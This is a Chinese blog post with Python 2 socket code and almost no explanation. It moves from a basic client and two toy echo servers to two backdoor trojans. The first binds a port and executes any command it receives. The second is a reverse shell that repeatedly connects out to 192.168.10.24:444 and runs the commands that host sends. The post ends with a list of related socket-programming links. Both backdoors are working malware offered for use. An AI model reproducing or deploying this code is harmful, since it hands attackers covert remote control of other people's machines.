懒得解释怎么写出来的,直接上代码

Client:  简单连接服务器

#!/usr/bin/python
#coding:utf-8 import socket
import sys
socket.setdefaulttimeout(5) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host ) message = "GET / HTTP/1.1\r\n\r\n" s.connect((remote_ip, port))
s.sendall(message) reply = s.recv(4096) print reply

Server:  单线程,长久监听服务,长连接,会话先进先出排队原则

#!/usr/bin/python
#coding:utf-8 import socket
import sys HOST = ''
PORT = 444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break conn.close()
s.close()

Server:  多线程,长久监听服务,长连接,同步处理会话

#!/usr/bin/python
#coding:utf-8 import socket
import sys
from thread import * HOST = ''
PORT = 555 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break
conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()

BackDoor: 结合命令执行制作后门木马(正向)

#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from thread import * HOST = ''
PORT = 854 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("Demon_Backdoor# ")
data = conn.recv(1024)
if data:
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
conn.sendall(res+"\n")
else:
print "[-]Error: code",code
data = "" else:
break conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()

BackDoor: 反弹shell(反向)

#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from time import sleep
from thread import * HOST = "192.168.10.24"
PORT = 444 def clientthread(s):
global isConnect
s.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1:
s.send("Demon_Backdoor# ")
data = s.recv(1024)
if data :
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
s.sendall(res+"\n")
else:
print "[-]Error: code",code
data = ""
else:
break while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] connecting" , HOST + ":", PORT
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)

转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html

python socket编程制作后门木马(原创)的更多相关文章

  1. Python Socket 编程——聊天室示例程序

    上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和客户端的代码了解基本的 Python Socket 编程模型.本文再通过一个例子来加强一下对 Socket 编程的 ...

  2. python/socket编程之粘包

    python/socket编程之粘包 粘包 只有TCP有粘包现象,UDP永远不会粘包. 首先需要掌握一个socket收发消息的原理 发送端可以是1k,1k的发送数据而接受端的应用程序可以2k,2k的提 ...

  3. PYTHON SOCKET编程简介

    原文地址: PYTHON SOCKET编程详细介绍   Python 提供了两个基本的 socket 模块. 第一个是 Socket,它提供了标准的 BSD Sockets API. 第二个是 Soc ...

  4. python socket编程笔记

    用python实现一个简单的socket网络聊天通讯 (Linux --py2.7平台与windows--py3.6平台) 人生苦短之我用Python篇(socket编程) python之路 sock ...

  5. [Python_7] Python Socket 编程

    0. 说明 Python Socket 编程 1. TCP 协议 [TCP Server] 通过 netstat -ano 查看端口是否开启 # -*-coding:utf-8-*- "&q ...

  6. Python Socket 编程示例 Echo Server

    简评:我们已经从「Python Socket 编程概览」了解了 socket API 的概述以及客户端和服务器的通信方式,接下来让我们创建第一个客户端和服务器,我们将从一个简单的实现开始,服务器将简单 ...

  7. Python Socket 编程——聊天室演示样例程序

    上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和client的代码了解主要的 Python Socket 编程模型.本文再通过一个样例来加强一下对 Socket ...

  8. python socket编程入门(编写server实例)+send 与sendall的区别与使用方法

    python 编写server的步骤: 1. 第一步是创建socket对象.调用socket构造函数.如: socket = socket.socket( family, type ) family参 ...

  9. 第九章:Python高级编程-Python socket编程

    第九章:Python高级编程-Python socket编程 Python3高级核心技术97讲 笔记 9.1 弄懂HTTP.Socket.TCP这几个概念 Socket为我们封装好了协议 9.2 cl ...

随机推荐

  1. php 递归无线级别分类

    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <?ph ...

  2. FusionCharts中图的属性的总结归纳

    FusionCharts中图的属性的总结归纳 1.横坐标label间隔显示 labelStep="4" 2.柱状图有椭圆角 useRoundEdges="1"

  3. javascript 获取滚动条距离顶部的位置(兼容所有的)。

    function getScrollTop() { var scrollPos; if (window.pageYOffset) { scrollPos = window.pageYOffset; } ...

  4. 【Thinkphp】入口文件和配置文件

    一.入口文件 ThinkPHP采用单一入口模式进行项目部署和访问 入口文件代码 <?php define('APP_DEBUG',TRUE);//打开调试模式 在生产环境中应该关闭 define ...

  5. STM32f4 ARM Bootloader

    参考资料: 基于ARM 的嵌入式系统Bootloader 启动流程分析 Bootloader 详解 ( 代码环境 | ARM 启动流程 | uboot 工作流程 | 架构设计) Android系统启动 ...

  6. Halcon算子--区域特征

    当我们想要提取Region时,图像处理后,往往存在几个类似的Region,此时,需要根据Region的一些特殊特征,来选择指定的Region. 求Region指定特征值:region_features ...

  7. C#图解教程 第十八章 枚举器和迭代器

    枚举器和迭代器 枚举器和可枚举类型 foreach语句 IEnumerator接口 使用IEnumerable和IEnumerator的示例 泛型枚举接口迭代器 迭代器块使用迭代器来创建枚举器使用迭代 ...

  8. 【BZOJ2843】极地旅行社(Link-Cut Tree)

    [BZOJ2843]极地旅行社(Link-Cut Tree) 题面 BZOJ 题解 \(LCT\)模板题呀 没什么好说的了.. #include<iostream> #include< ...

  9. 如何用JAVA的IO流下载落网音乐?

    一直以来都特别喜欢落网的音乐,最近用JAVA写了一个小程序,可以根据期刊和歌曲编号去下载音乐.本程序仅供学习使用. 目前只写了一个初步的代码: public class DownloadMusic { ...

  10. Django admin 组件 原理分析与扩展使用 之 sites.py (一)

    一 . 前言 Django 提供了admin 组件 为项目提供基本的管理后台功能(对数据表的增删改查). 本篇文章通过 admin源码 简单分析admin 内部原理 ,扩展使用方式,为以后进行定制和自 ...